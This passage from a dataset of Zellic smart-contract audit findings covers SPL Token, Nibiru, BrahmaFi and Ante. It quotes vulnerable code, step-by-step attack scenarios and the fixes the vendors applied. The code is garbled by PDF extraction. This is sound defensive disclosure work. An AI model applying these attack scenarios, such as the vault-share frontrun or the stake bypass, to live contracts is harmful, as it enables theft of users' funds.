pending_balance_lo of the destination account. This could potentially cause the pending balance to become bigger than 216 or even 232, making decryption of the balance difficult. An attacker with control of the keys trusted with managing transfer fees could credit the encrypted pending balance of an account bypassing the configuration applied by the account owner and potentially make it difficult for the victim to decrypt the en- crypted balance. Revert the transaction if allow_balance_credits is set on the destination ac- count. Revert the transaction if pending_balance_credit_counter is not less than maxim um_pending_balance_credit_counter. Increment pending_balance_credit_count er after the transfer taken place. Since the value of the transferred balances is encrypted, limiting the transferred value to avoid overflowing the soft amount of 232 is challenging and would require extensive modifications. Zellic Solana Foundation Pull request #3774 fixes the issue following our recommendation. The PR head commit 16384e2 was merged in the master branch on October 28, 2022. The confidential token transfer extension was not used at the time the audit was con- ducted; therefore, funds were not at risk. Zellic Solana Foundation", + "html_url": "https://github.com/Zellic/publications/blob/master/SPL Token - Zellic Audit Report.pdf" + }, + { + "title": "5.1 Margin ratio not checked when removing collateral", + "labels": [ + "Zellic" + ], + "body": "Target: x/perp/v2/keeper/margin.go Category: Coding Mistakes Likelihood: High Severity: Critical : Critical When removing margin from a position using RemoveMargin, there is a check to ensure that there is enough free collateral: func (k Keeper) RemoveMargin( ctx sdk.Context, pair asset.Pair, traderAddr sdk.AccAddress, marginToRemove sdk.Coin, ) (res *v2types.MsgRemoveMarginResponse, err error) { /) fetch objects from state market, err :) k.Markets.Get(ctx, pair) if err !) nil { return nil, fmt.Errorf(\u201d%w: %s\u201d, types.ErrPairNotFound, pair) } amm, err :) k.AMMs.Get(ctx, pair) if err !) nil { return nil, fmt.Errorf(\u201d%w: %s\u201d, types.ErrPairNotFound, pair) } if marginToRemove.Denom !) amm.Pair.QuoteDenom() { return nil, fmt.Errorf(\u201dinvalid margin denom: %s\u201d, marginToRemove.Denom) } position, err :) k.Positions.Get(ctx, collections.Join(pair, traderAddr)) if err !) nil { return nil, err } /) ensure we have enough free collateral Zellic Nibiru spotNotional, err :) PositionNotionalSpot(amm, position) if err !) nil { return nil, err } twapNotional, err :) k.PositionNotionalTWAP(ctx, position, market.TwapLookbackWindow) if err !) nil { return nil, err } minPositionNotional :) sdk.MinDec(spotNotional, twapNotional) /) account for funding payment fundingPayment :) FundingPayment(position, market.LatestCumulativePremiumFraction) remainingMargin :) position.Margin.Sub(fundingPayment) /) account for negative PnL unrealizedPnl :) UnrealizedPnl(position, minPositionNotional) if unrealizedPnl.IsNegative() { remainingMargin = remainingMargin.Add(unrealizedPnl) } if remainingMargin.LT(marginToRemove.Amount.ToDec()) { return nil, types.ErrFailedRemoveMarginCanCauseBadDebt.Wrapf( \u201dnot enough free collateral to remove margin; remainingMargin %s, marginToRemove %s\u201d, remainingMargin, marginToRemove, ) } if err = k.Withdraw(ctx, market, traderAddr, marginToRemove.Amount); err !) nil { return nil, err } The issue is that there is no check to ensure that the new margin ratio of the position is valid and that it is not underwater. This allows someone to open a new position and then immediately remove 99.99% of the margin while effectively allowing them to have infinite leverage. Zellic Nibiru There should be a check on the margin ratio, similar to afterPositionUpdate, to ensure that it is not too low: var preferredPositionNotional sdk.Dec if positionResp.Position.Size_.IsPositive() { preferredPositionNotional = sdk.MaxDec(spotNotional, twapNotional) } else { preferredPositionNotional = sdk.MinDec(spotNotional, twapNotional) } marginRatio :) MarginRatio(*positionResp.Position, preferredPositionNotional, market.LatestCumulativePremiumFraction) if marginRatio.LT(market.MaintenanceMarginRatio) { return v2types.ErrMarginRatioTooLow } This issue has been acknowledged by Nibiru, and a fix was implemented in commit ffad80c2. Zellic Nibiru", + "html_url": "https://github.com/Zellic/publications/blob/master/Nibiru - Zellic Audit Report.pdf" + }, + { + "title": "5.2 AMM price manipulation using openReversePosition", + "labels": [ + "Zellic" + ], + "body": "Target: x/perp/v2/keeper Category: Coding Mistakes Likelihood: High Severity: Critical : Critical The Nibiru perp module allows users to open reverse positions to decrease the mar- gin, effectively shrinking the position size. A user can open a buy position and then immediately open a reverse position of the same size. Since currentPositionNotional is fractionally larger than notionalToDecreaseBy, it is possible to enter the decreasePo stion flow as follows: if currentPositionNotional.GT(notionalToDecreaseBy) { /) position reduction return k.decreasePosition( ctx, market, amm, currentPosition, notionalToDecreaseBy, baseAmtLimit, /) skipFluctuationLimitCheck *) false, This leaves the position with a zero size. Further in afterPositionUpdate, the position is not saved due to the following check: func (k Keeper) afterPositionUpdate( ctx sdk.Context, market v2types.Market, amm v2types.AMM, traderAddr sdk.AccAddress, positionResp v2types.PositionResp, ) (err error) { [...))] if !positionResp.Position.Size_.IsZero() { k.Positions.Insert(ctx, collections.Join(market.Pair, traderAddr), *positionResp.Position) } Zellic Nibiru However, the AMM is still updated in decreasePosition as though the position was saved. func (k Keeper) decreasePosition( ctx sdk.Context, market v2types.Market, amm v2types.AMM, currentPosition v2types.Position, decreasedNotional sdk.Dec, baseAmtLimit sdk.Dec, skipFluctuationLimitCheck bool, ) (updatedAMM *v2types.AMM, positionResp *v2types.PositionResp, err error) { [...))] updatedAMM, baseAssetDeltaAbs, err :) k.SwapQuoteAsset( ctx, market, amm, dir, decreasedNotional, baseAmtLimit, ) An attacker could repeatedly open and close positions to manipulate the AMM price. They could then liquidate strong positions to make a profit. It appears that the afterPositionUpdate function does not update a position with size zero because it assumes that it has already been deleted \u2014 for example in closePosi tionEntirely: positionResp.ExchangedNotionalValue = exchangedNotionalValue positionResp.Position = &v2types.Position{ TraderAddress: currentPosition.TraderAddress, Pair: currentPosition.Pair, Size_: sdk.ZeroDec(), Margin: sdk.ZeroDec(), OpenNotional: sdk.ZeroDec(), Zellic Nibiru LatestCumulativePremiumFraction: market.LatestCumulativePremiumFraction, LastUpdatedBlockNumber: ctx.BlockHeight(), } err = k.Positions.Delete(ctx, collections.Join(currentPosition.Pair, trader)) Instead, a flag could be added to the PositionResp type to avoid updating a position after it has been deleted. This issue has been acknowledged by Nibiru, and fixes were implemented in the fol- lowing commits: ffad80c2 d47861fd Zellic Nibiru", + "html_url": "https://github.com/Zellic/publications/blob/master/Nibiru - Zellic Audit Report.pdf" + }, + { + "title": "5.3 The sender is not checked for Wasm messages", + "labels": [ + "Zellic" + ], + "body": "Target: x/wasm/binding/exec.go Category: Coding Mistakes Likelihood: High Severity: Critical : Critical The CosmosWasm module has been enabled to allow developers to deploy smart contracts on Nibiru. To allow these contracts to interact with the chain, a custom ex- ecutor has been written that will intercept and execute the appropriate custom calls: type OpenPosition struct { Sender string `json:\u201dsender\u201d` Pair string `json:\u201dpair\u201d` IsLong bool QuoteAmount sdk.Int `json:\u201dquote_amount\u201d` Leverage sdk.Dec `json:\u201dleverage\u201d` BaseAmountLimit sdk.Int `json:\u201dbase_amount_limit\u201d` `json:\u201dis_long\u201d` } /) DispatchMsg encodes the wasmVM message and dispatches it. func (messenger *CustomWasmExecutor) DispatchMsg( ctx sdk.Context, contractAddr sdk.AccAddress, contractIBCPortID string, wasmMsg wasmvmtypes.CosmosMsg, ) (events []sdk.Event, data [][]byte, err error) { /) If the \u201dCustom\u201d field is set, we handle a BindingMsg. if wasmMsg.Custom !) nil { var contractExecuteMsg BindingExecuteMsgWrapper if err :) json.Unmarshal(wasmMsg.Custom, &contractExecuteMsg); err !) nil { return events, data, sdkerrors.Wrapf(err, \u201dwasmMsg: %s\u201d, wasmMsg.Custom) } switch { /) Perp module case contractExecuteMsg.ExecuteMsg.OpenPosition !) nil: cwMsg :) contractExecuteMsg.ExecuteMsg.OpenPosition Zellic Nibiru _, err = messenger.Perp.OpenPosition(cwMsg, ctx) return events, data, err ...)) These can then be called from a Cosmos contract: ///)) NibiruExecuteMsg is an override of CosmosMsg:)Custom. Using this msg ///)) wrapper for the ExecuteMsg handlers show that their return values are valid ///)) instances of CosmosMsg:)Custom in a type-safe manner. It also shows how ///)) ExecuteMsg can be extended in the contract. #)cw_serde] #)cw_custom] pub struct NibiruExecuteMsg { pub route: NibiruRoute, pub msg: ExecuteMsg, } pub fn open_position( sender: String, pair: String, is_long: bool, quote_amount: Uint128, leverage: Decimal, base_amount_limit: Uint128, ) -> CosmosMsg { NibiruExecuteMsg { route: NibiruRoute:)Perp, msg: ExecuteMsg:)OpenPosition { sender, pair, is_long, quote_amount, leverage, base_amount_limit, }, } .into() } Zellic Nibiru The issue is that there is no validation on the value of sender; it can be set to an arbitrary account and end up being sent straight to the message handler: func (exec *ExecutorPerp) OpenPosition( cwMsg *cw_struct.OpenPosition, ctx sdk.Context, ) ( ) { sdkResp *perpv2types.MsgOpenPositionResponse, err error, if cwMsg =) nil { return sdkResp, wasmvmtypes.InvalidRequest{Err: \u201dnull open position msg\u201d} } pair, err :) asset.TryNewPair(cwMsg.Pair) if err !) nil { return sdkResp, err } var side perpv2types.Direction if cwMsg.IsLong { side = perpv2types.Direction_LONG } else { side = perpv2types.Direction_SHORT } sdkMsg :) &perpv2types.MsgOpenPosition{ Sender: cwMsg.Sender, Pair: pair, Side: side, QuoteAssetAmount: cwMsg.QuoteAmount, Leverage: cwMsg.Leverage, BaseAssetAmountLimit: cwMsg.BaseAmountLimit, } goCtx :) sdk.WrapSDKContext(ctx) return exec.MsgServer().OpenPosition(goCtx, sdkMsg) } Zellic Nibiru This allows a CosmosWasm contract to execute the OpenPosition, ClosePosition, Ad dMargin, and RemoveMargin operations on behalf of any user. The sender should not be able to be arbitrarily set; it should be the address of the contract that is executing the message. If the sender needs to be configurable, only a whitelisted or trusted contract should be able to do it and that contract should have the appropriate checks to ensure the sender is set to the correct value. This issue has been acknowledged by Nibiru, and fixes were implemented in the fol- lowing commits: bb898ae9 75041c3d Zellic Nibiru", + "html_url": "https://github.com/Zellic/publications/blob/master/Nibiru - Zellic Audit Report.pdf" + }, + { + "title": "5.4 Wasm bindings do not validate messages", + "labels": [ + "Zellic" + ], + "body": "Target: x/wasm/binding/exec.go Category: Coding Mistakes Likelihood: High Severity: Critical : Critical It was found that the Wasm bindings use messages directly after they are unmar- shalled without calling ValidateBasic. The messages are directly passed to the han- dlers and crucial checks are skipped. func (messenger *CustomWasmExecutor) DispatchMsg( ctx sdk.Context, contractAddr sdk.AccAddress, contractIBCPortID string, wasmMsg wasmvmtypes.CosmosMsg, ) (events []sdk.Event, data [][]byte, err error) { /) If the \u201dCustom\u201d field is set, we handle a BindingMsg. if wasmMsg.Custom !) nil { var contractExecuteMsg BindingExecuteMsgWrapper if err :) json.Unmarshal(wasmMsg.Custom, &contractExecuteMsg); err !) nil { return events, data, sdkerrors.Wrapf(err, \u201dwasmMsg: %s\u201d, wasmMsg.Custom) } switch { /) Perp module case contractExecuteMsg.ExecuteMsg.OpenPosition !) nil: cwMsg :) contractExecuteMsg.ExecuteMsg.OpenPosition _, err = messenger.Perp.OpenPosition(cwMsg, ctx) Any checks that the handlers rely on ValidateBasic for are skipped and can be ex- ploited if the respective checks are not present in the handlers. The following are the examples of messages that can be exploited: Zellic Nibiru For one, ExecuteMsg.AddMargin does not check if the margin denom is the same as the pair denom. This could allow incorrect collateral to be used. Another is that ExecuteMsg.RemoveMargin does not check that the amount to re- move is positive, allowing the margin of a position to be increased without trans- ferring any funds from the user. The inflated marging could then be withrawn to drain the VaultModuleAccount and PerpEFModuleAccount pools. After creating each sdkMsg, the ValidateBasic() should be called on each before they are passed to the MsgServer in the executor. This issue has been acknowledged by Nibiru, and fixes were implemented in the fol- lowing commits: ba58517e da51fdf0 Zellic Nibiru", + "html_url": "https://github.com/Zellic/publications/blob/master/Nibiru - Zellic Audit Report.pdf" + }, + { + "title": "5.5 Incorrect TWAP calculation", + "labels": [ + "Zellic" + ], + "body": "Target: x/oracle/keeper/keeper.go Category: Coding Mistakes Likelihood: High Severity: High : High The oracle module uses the calcTwap to compute the TWAP (time-weighted average price). Here, the maximum of snapshots[0].TimestampMs and ctx.BlockTime().UnixM illi() - twapLookBack is used as firstTimeStamp. func (k Keeper) calcTwap(ctx sdk.Context, snapshots []types.PriceSnapshot) (price sdk.Dec, err error) { [...))] firstTimeStamp :) ctx.BlockTime().UnixMilli() - twapLookBack cumulativePrice :) sdk.ZeroDec() firstTimeStamp = math.MaxInt64(snapshots[0].TimestampMs, firstTimeStamp) [...))] } nextTimestampMs = snapshots[i+1].TimestampMs price :) s.Price.MulInt64(nextTimestampMs - timestampStart) This is not sound as it is possible for the price to be negative if timestampStart is greater than nextTimestampMs. If timestampStart is greater than nextTimestampMs, the resulting TWAP data will be incorrect. However, this is not an issue currently since the caller for calcTwap only includes snapshots starting from ctx.BlockTime().UnixMilli() - twapLookBack. Ideally, firstTimeStamp should always just be equal to the timestamp of the first snap- shot. Zellic Nibiru This issue has been acknowledged by Nibiru, and a fix was implemented in commit 53487734. Zellic Nibiru", + "html_url": "https://github.com/Zellic/publications/blob/master/Nibiru - Zellic Audit Report.pdf" + }, + { + "title": "5.6 Panic in EndBlock hooks will halt the chain", + "labels": [ + "Zellic" + ], + "body": "Target: x/inflation, x/oracle Category: Coding Mistakes Likelihood: High Severity: High : High When executing a transaction, Cosmos automatically handles any panics that may occur with the default recovery middleware (see runtx_middleware), but this is not the case for anything that runs within an EndBlock or BeginBlock hook. In these cases it is vital that there are no panics and that all errors are handled correctly; otherwise, it will result in a chain halt as all the validators will panic and crash. The following locations are all reachable from an EndBlock or BeginBlock (AfterEpoch End is called from a BeginBlock): x/inflation/keeper/hooks.go#L64-L64 x/oracle/keeper/slash.go#L52-L52 x/oracle/keeper/update_exchange_rates.go#L80-L80 x/oracle/keeper/reward.go#L71-L71 x/oracle/keeper/reward.go#L60-L60 x/oracle/keeper/ballot.go#L69-L69 x/oracle/types/ballot.go#L111-L111 If any of these error conditions are met, there will be a chain halt as all the validators will crash. The panics should be replaced with the appropriate error handling for each case and either log the error or fail gracefully. This issue has been acknowledged by Nibiru, and fixes were implemented in the fol- lowing commits: 73d9bfd4 85859f2b Zellic Nibiru", + "html_url": "https://github.com/Zellic/publications/blob/master/Nibiru - Zellic Audit Report.pdf" + }, + { + "title": "5.7 The ReserveSnapshots are never updated", + "labels": [ + "Zellic" + ], + "body": "Target: x/perp/v2/module/abci.go Category: Coding Mistakes Likelihood: High Severity: High : High The perp module has an EndBlocker, which is designed to create a snapshot of the AMM in order to calculate the TWAP prices: /) EndBlocker Called every block to store a snapshot of the perpamm. func EndBlocker(ctx sdk.Context, k keeper.Keeper) []abci.ValidatorUpdate { for _, amm :) range k.AMMs.Iterate(ctx, collections.Range[asset.Pair]{}).Values() { snapshot :) types.ReserveSnapshot{ Amm: amm, TimestampMs: ctx.BlockTime().UnixMilli(), } k.ReserveSnapshots.Insert(ctx, collections.Join(amm.Pair, ctx.BlockTime()), snapshot) } return []abci.ValidatorUpdate{} } The issue is that the EndBlocker is not hooked up and is never called. The ReserveSnapshots are never updated and so anything relying on it (such as CalcT wap) will be using whatever values were set during genesis. The EndBlocker should be called from the perp module\u2019s EndBlock: func (am AppModule) EndBlock(ctx sdk.Context, _ abci.RequestEndBlock) []abci.ValidatorUpdate { EndBlocker(ctx, am.keeper) return []abci.ValidatorUpdate{} } Zellic Nibiru This issue has been acknowledged by Nibiru, and a fix was implemented in commit 7144cc96. Zellic Nibiru", + "html_url": "https://github.com/Zellic/publications/blob/master/Nibiru - Zellic Audit Report.pdf" + }, + { + "title": "5.8 Distributing zero coins causes chain halt", + "labels": [ + "Zellic" + ], + "body": "Target: x/oracle/keeper/hooks.go Category: Coding Mistakes Likelihood: High Severity: High : High The oracle module uses an AfterEpochEnd hook, which allocates rewards for valida- tors. This hook is inside the BeginBlocker. func (h Hooks) AfterEpochEnd(ctx sdk.Context, epochIdentifier string, _ uint64) { [...))] balances :) h.bankKeeper.GetAllBalances(ctx, account.GetAddress()) for _, balance :) range balances { validatorFees :) balance.Amount.ToDec().Mul(params.ValidatorFeeRatio).TruncateInt() rest :) balance.Amount.Sub(validatorFees) totalValidatorFees = append(totalValidatorFees, sdk.NewCoin(balance.Denom, validatorFees)) totalRest = append(totalRest, sdk.NewCoin(balance.Denom, rest)) } [...))] err = h.k.AllocateRewards( ctx, perptypes.FeePoolModuleAccount, totalValidatorFees, 1, ) if err !) nil { panic(err) } The issue here is that validatorFees could be zero for very small positions. This means AllocateRewards could be called with one or more coins with a zero amount. Zellic Nibiru The AllocateRewards function in turn calls bankKeeper.SendCoinsFromModuleToModule, which will fail if any of the coins have a nonpositive amount. func (coins Coins) Validate() error { [...))] if err :) ValidateDenom(coins[0].Denom); err !) nil { return err } if !coins[0].IsPositive() { return fmt.Errorf(\u201dcoin %s amount is not positive\u201d, coins[0]) } Since the AfterEpochEnd hook is inside the BeginBlocker, this will cause the chain to halt. If the final value of totalValidatorFees is not greater than zero then the call to h.k.Al locateRewards should not be made. This issue has been acknowledged by Nibiru, and a fix was implemented in commit c430556a. Zellic Nibiru", + "html_url": "https://github.com/Zellic/publications/blob/master/Nibiru - Zellic Audit Report.pdf" + }, + { + "title": "5.9 Large rewardSpread due to miscalculation", + "labels": [ + "Zellic" + ], + "body": "Target: x/oracle/types/ballot.go Category: Coding Mistakes Likelihood: Medium Severity: High : Medium The oracle module uses the rewardSpread to check if the price data from the validator is within an acceptable range from the chosen price. func Tally(ballots types.ExchangeRateBallots, rewardBand sdk.Dec, validatorPerformances types.ValidatorPerformances) sdk.Dec { sort.Sort(ballots) weightedMedian :) ballots.WeightedMedianWithAssertion() standardDeviation :) ballots.StandardDeviation(weightedMedian) rewardSpread :) weightedMedian.Mul(rewardBand.QuoInt64(2)) if standardDeviation.GT(rewardSpread) { rewardSpread = standardDeviation sum :) sdk.ZeroDec() for _, v :) range pb { deviation :) v.ExchangeRate.Sub(median) sum = sum.Add(deviation.Mul(deviation)) } The standard deviation for the ballots is used directly as the rewardSpread if it is greater than the calculated rewardSpread. if standardDeviation.GT(rewardSpread) { rewardSpread = standardDeviation The StandardDeviation function, however, does not ignore negative votes. This could allow a malicious validator to submit abstaining votes with very large negative values and increase the rewardSpread. Zellic Nibiru Two malicious validators could collude to repeatedly submit prices outside the ac- ceptable price band. They can do this without being slashed due to rewardSpread having a very high value. If eventually the attacker succeeds in publishing an invalid price, they could profit by liquidating strong postions through the perp module. Abstained votes should be ignored when calculating the standard deviation for the ballots. This issue has been acknowledged by Nibiru, and a fix was implemented in commit 908571f0. Zellic Nibiru", + "html_url": "https://github.com/Zellic/publications/blob/master/Nibiru - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Deposits can be potentially frontrun and stolen", + "labels": [ + "Zellic" + ], + "body": "Target: Vault Category: Business Logic Likelihood: Medium Severity: High : High The shares minted in deposit() are calculated as a ratio of totalVaultFunds() and tot alSupply(). The totalVaultFunds() can be potentially inflated, reducing the amounts of shares minted (even 0). function deposit(uint256 amountIn, address receiver) ...)) shares = totalSupply() > 0 ? (totalSupply() * amountIn) / totalVaultFunds() : amountIn; IERC20(wantToken).safeTransferFrom(receiver, address(this), amountIn); _mint(receiver, shares); } ...)) function totalVaultFunds() public view returns (uint256) { return IERC20(wantToken).balanceOf(address(this)) + totalExecutorFunds(); } By transferring wantToken tokens directly, totalVaultFunds() would be inflated (be- cause of balanceOf()) and as the division result is floored, there could be a case when it would essentially mint 0 shares, causing a loss for the depositing user. If an attacker controls all of the share supply before the deposit, they would be be able to withdraw all the user deposited tokens. Consider the following attack scenario: Zellic Brahma 1. The Vault contract is deployed. 2. The governance sets batcherOnlyDeposit to false. 3. The attacker deposits[1] X stakeable tokens and receives X LP tokens. 4. The victim tries to deposit Y stakeable tokens. 5. The attacker frontruns the victim\u2019s transaction and transfers[2] X * (Y - 1) + 1 stakeable tokens to the Vault contract. 6. The victim\u2019s transaction is executed, and the victim receives 0 LP tokens.[3] 7. The attacker redeems her LP tokens, effectively stealing Y stakeable tokens from the victim. The foregoing is just an example. Variations of the foregoing attack scenario are pos- sible. The impact of this finding is mitigated by the fact that the default value of batcherOn lyDeposit is true, which allows the keeper of the Batcher contract to: 1) prevent the attacker from acquiring 100% of the total supply of LP tokens; 2) prevent the attacker from redeeming her LP tokens for stakeable tokens. Consider: adding an amountOutMin parameter to the deposit(uint256 amountIn, address receiver) function of the Vault contract; adding a require statement that ensures that the deposit() function never mints 0 or less than amountOutMin LP tokens. The issue has been acknowledged by Brahma and mitigated in commit 413b9cc. 1 By calling the deposit() function of the Vault contract. 2 By calling the transfer() function of the stakeable token contract. This doesn\u2019t increase the total supply of LP tokens. The attacker is always able to call transfer() to directly transfer stakeable tokens to the Vault contract, even when batcherOnlyDeposit is set to true. 3 The formula for calculating the number of LP tokens received: LPTokensReceived = Y * totalSupply OfLPTokens / totalStakeableTokensInVault. Substitute totalSupplyOfLPTokens = X and totalStake ableTokensInVault = X + X * (Y - 1) + 1. The result: LPTokensReceived = Y * X / (X + X * (Y - 1) + 1) = Y * X / (X * Y + 1) = 0. Zellic Brahma", + "html_url": "https://github.com/Zellic/publications/blob/master/BrahmaFi - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Centralization risks", + "labels": [ + "Zellic" + ], + "body": "Target: Batcher, Vault, ConvexTradeExecutor, PerpTradeExecutor, Harvester, Per pPositionHandlerL2 Category: Code Maturity Likelihood: n/a Severity: High : High The protocol is heavily centralized. This may be by design due to the the nature of yield aggregators. The governance can call the sweep() function of the Batcher, Vault, ConvexTradeExecut or, PerpTradeExecutor and Harvester contracts, effectively draining the token balances of the aforementioned contracts. The strategist can call the sweep() function of the PerpPositionHandlerL2 contract, effectively draining the token balances of the aforementioned contract. The documentation states that 1-10% of the user-deposited funds stay within the vault as a buffer and only the yield harvested from Curve and Convex is used for trading on Perpetual Protocol. These invariants are not enforced in any way in the Vault contract itself. The keeper can freely move the user-deposited funds between the vault and its trade executors. It is therefore the responsibility of keepers to enforce the aforemen- tioned invariants Centralization carries heavy risks, most of which have been outlined in the section above. A compromised governance, strategist or a keeper could potentially steal all user funds. Consider setting up multisig wallets for the governance, the strategist and the keeper. Consider enforcing, on the protocol level, the invariants outlined in the docu- mentation. Consider following best security practices when handling the private keys of the externally-owned accounts. Zellic Brahma The issue has been acknowledged by the Brahma team. Further steps to securing private keys and usage of a multisig address are being addressed. Zellic Brahma", + "html_url": "https://github.com/Zellic/publications/blob/master/BrahmaFi - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Unwanted deposits and withdrawals can be triggered on behalf of another user", + "labels": [ + "Zellic" + ], + "body": "Target: Vault Category: Business Logic Likelihood: Medium Severity: High : High The deposit() and withdraw() functions of the Vault contract accept 2 arguments: function deposit(uint256 amountIn, address receiver) public override nonReentrant ensureFeesAreCollected returns (uint256 shares) { } ///)) checks for only batcher deposit onlyBatcher(); ...)) function withdraw(uint256 sharesIn, address receiver) public override nonReentrant ensureFeesAreCollected returns (uint256 amountOut) { } ///)) checks for only batcher withdrawal onlyBatcher(); ...)) Both of the functions call onlyBatcher() to check and enforce the validity of msg.send er: function onlyBatcher() internal view { if (batcherOnlyDeposit) { Zellic Brahma require(msg.sender =) batcher, \u201cONLY_BATCHER\u201d); } } Both of the functions perform no other checks of the validity of msg.sender. By default (batcherOnlyDeposit = true), only the Batcher contract can deposit and withdraw funds on behalf of the receiver. The governance can change batcherOnlyDeposit to false. When batcherOnlyDepo sit = false, the deposit() and withdraw() functions perform no msg.sender valid- ity checks whatsoever, allowing any third-party user to trigger deposits[4] and with- drawals[5] on behalf of any receiver. A third party can trigger unwanted deposits and withdrawals on behalf of another user. This can lead to the users\u2019 confusion, lost profits and even potentially to a loss of funds. Consider adding if (!batcherOnlyDeposit) { require(msg.sender =) receiver); } checks to the deposit() and withdraw() functions. The issue has been fixed in commit 32d30c8. 4 Deposits only work if the receiver has approve()d enough of stakeable tokens. 5 Withdrawals only work if the receiver owns enough of the vault LP tokens. Zellic Brahma", + "html_url": "https://github.com/Zellic/publications/blob/master/BrahmaFi - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Some emergency-only functions can be called outside of an emergency state", + "labels": [ + "Zellic" + ], + "body": "Target: Batcher, Vault, ConvexTradeExecutor, PerpTradeExecutor, Harvester, Per pPositionHandlerL2 Category: Business Logic Likelihood: High Severity: Medium : Medium The project contains 6 contracts that implement a sweep() function: Batcher Vault ConvexTradeExecutor (derived from BaseTradeExecutor) PerpTradeExecutor (derived from BaseTradeExecutor) Harvester PerpPositionHandlerL2 The sweep() functions in Batcher, Vault, ConvexTradeExecutor and PerpTradeExecutor are documented as callable only in an emergency state. Only the sweep() function in Vault implements emergency state checks. The sweep() functions in all other contracts do not. The emergency-only sweep() functions in Batcher, ConvexTradeExecutor and PerpTra deExecutor can be called outside of an emergency state. The sweep() functions in Harvester and PerpPositionHandlerL2 can also be called out- side of an emergency state, but they are not documented as callable only in an emer- gency state. Consider adding emergency state checks to the sweep() functions of the Batcher, Con vexTradeExecutor and PerpTradeExecutor contracts. Consider adding emergency state checks to the sweep() function of the Harvester con- tract and documenting it accordingly. Consider: 1) adding an emergency state variable to the PerpPositionHandlerL2 con- Zellic Brahma tract;[6] 2) adding emergency state checks to the sweep() function of the PerpPositio nHandlerL2 contract; 3) documenting this accordingly. The issue has been acknowledged by the Brahma team. 6 This step is required because the PerpPositionHandlerL2 is deployed on top of Optimism, an L2 net- work, and therefore (and unlike all the other contracts) cannot access the emergency state variable of the Vault contract in a timely manner. Zellic Brahma", + "html_url": "https://github.com/Zellic/publications/blob/master/BrahmaFi - Zellic Audit Report.pdf" + }, + { + "title": "3.5 Invalid business logic in Batcher.sol", + "labels": [ + "Zellic" + ], + "body": "Target: Batcher.sol Category: Coding Mistakes Likelihood: n/a Severity: Medium : Medium The depositFunds() function of the Batcher contract contains this incorrect require statement at L94: require( IERC20(vaultInfo.vaultAddress).totalSupply() \u2212 pendingDeposit + pendingWithdrawal + amountIn <) vaultInfo.maxAmount, \u201cMAX_LIMIT_EXCEEDED\u201d ); The correct require statement should contain - pendingWithdrawal + pendingDeposit instead of - pendingDeposit + pendingWithdrawal. The incorrect require statement fails to properly enforce the \u201cusers can deposit only up to vaultInfo.maxAmount of stakeable tokens\u201d invariant. Consider changing - pendingDeposit + pendingWithdrawal to - pendingWithdrawal + pendingDeposit in the require statement. The issue has been mitigated and fixed accordingly in commit 0c2c815. Zellic Brahma", + "html_url": "https://github.com/Zellic/publications/blob/master/BrahmaFi - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Ability to force tests to fail with gas limit", + "labels": [ + "Zellic" + ], + "body": "Target: AntePool Category: Coding Mistakes Likelihood: Medium Severity: Critical : Critical It is possible for attackers to force tests to fails by setting the gas limit to a very specific value to where: it is low enough that the inner call to checkTestPasses runs out of gas, but it is high enough that the outer checkTest/checkTestNoRevert functions finish ex- ecuting. This is possible because of a feature in Solidity where try/catch statements revert before the last 1/64th of the transaction gas limit is consumed (Source): The caller always retains at least 1/64th of the gas in a call and thus even if the called contract goes out of gas, the caller still has some gas left. So, if 1/64th of the maximum gas value that causes the test to revert is enough to execute the remainder of checkTest, it is possible to force a test to fail. Zellic wrote a proof of concept exploit to verify the exploitability of this issue. An attacker could force certain pools to fail and claim their rewards. Note that as of the time of this writing, no community-written, deployed tests are vulnerable. It is not currently possible to directly detect an out-of-gas error in a try/catch. Zellic and Ante Labs determined that the best solution is to implement magic return values so that pools can distinguish between a \u201cfalse\u201d returned by an out-of-gas reversion and a test failure (indicated by returning false or manual reversion). Zellic Ante Labs Ante Labs acknowledged this finding and plans to implement a fix\u2014most likely using the magic return value method described in the section. In the meantime, Ante Labs plans to provide analysis tools to community test writers to lower the likelihood of a vulnerable test being deployed. Note that no community- written, deployed tests are vulnerable as of the time of this writing. Zellic Ante Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Ante - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Number of challengers is constrained by block gas limit", + "labels": [ + "Zellic" + ], + "body": "Target: AntePool Category: Coding Mistakes Likelihood: Low Severity: High : Critical An attacker can freeze funds for a low cost by causing the _calculateChallengerEligi bility function to hit the block gas limit. Since the loop iterates over every challenger in storage, if enough challengers are registered, the checkTest function will not be callable when the test fails. Front-running bots may be able to claim the majority of rewards by exploiting the block gas limit issue using the following steps: 1. Upon detecting a failed check, depositing a large amount of capital as chal- lenger. 2. Locking checkTest by registering many challengers. 3. Twelve blocks later, unlocking checkTest by removing them. 4. Calling checkTest to claim rewards and 5% bounty. Stakers could prevent checkTest from running until their funds are unstaked after realizing a test is going to fail. An attacker could perform griefing attacks to prevent payouts from failed checks. Note that this vulnerability can be chained with the MIN_CHALLENGER_STAKE bypass vul- nerability to significantly lower the attack cost. We determined that in practice, ex- ploiting these two vulnerabilities together to lock funds would cost approximately $60,000 USD due to block gas as of the time of this writing. An attack is especially likely if the profit of delaying checkTest exceeds the cost of the attack. We recommend dynamically calculating the MIN_CHALLENGER_STAKE so that it is eco- nomically impractical to perform this attack. For recommendations on mitigating the minimum challenger stake bypass vulnera- bility, see the finding in section 3.3. Zellic Ante Labs Ante Labs acknowledged this finding and implemented a fix in commit a9490290d231 91d2bbcc2acfce5c901aed1bb5d2. Zellic Ante Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Ante - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Bypassable minimum challenger stake", + "labels": [ + "Zellic" + ], + "body": "Target: AntePool Category: Coding Mistakes Likelihood: High Severity: Low : Low It is possible to bypass the following check in the stake function. This would allow malicious challengers to stake less than the minimum of MIN_CHALLENGER_STAKE (default 1e16 or 0.01 ether) ether: require(amount >) MIN_CHALLENGER_STAKE, \u201cANTE: Challenger must stake more than 0.01 ETH\u201d); To bypass the MIN_CHALLENGER_STAKE, challengers can 1. Call the stake function to stake MIN_CHALLENGER_STAKE 2. In the same transaction, call the unstake (internally _unstake) function to unstake MIN_CHALLENGER_STAKE - 1 Now, the challenger is still registered while only costing 1 base unit (0.00000001 ether) and block gas fees. Front-running bots could register a challenger on every test for a very low cost to steal the 5% bounty when a test fails. If challengers wish to withdraw enough challenger stake that their total staked amount becomes 